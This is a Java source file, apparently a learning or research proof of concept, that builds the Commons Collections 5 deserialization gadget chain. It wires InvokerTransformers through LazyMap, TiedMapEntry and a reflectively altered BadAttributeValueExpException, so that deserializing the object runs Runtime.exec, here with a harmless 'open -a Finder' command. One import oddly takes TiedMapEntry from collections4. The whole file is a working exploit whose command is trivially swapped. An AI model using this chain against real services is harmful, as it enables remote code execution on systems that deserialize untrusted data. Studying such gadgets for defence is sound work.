package cc;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5 {
    public static void main(String[] args) throws Exception {
//        Method getRuntime = Runtime.class.getMethod("getRuntime");
//        Runtime runtime = (Runtime) getRuntime.invoke(null);
//        Method exec = Runtime.class.getMethod("exec", String.class);
//        exec.invoke(runtime, "open -a Finder");

        ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Finder"})
        });

        Map map = new HashMap();
        Map lazyMap = LazyMap.decorate(map, chain);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "k1");
        BadAttributeValueExpException e = new BadAttributeValueExpException(null);

        Field val = BadAttributeValueExpException.class.getDeclaredField("val");
        val.setAccessible(true);
        val.set(e, tiedMapEntry);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        new ObjectOutputStream(baos).writeObject(e);
        new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray())).readObject();
    }
}
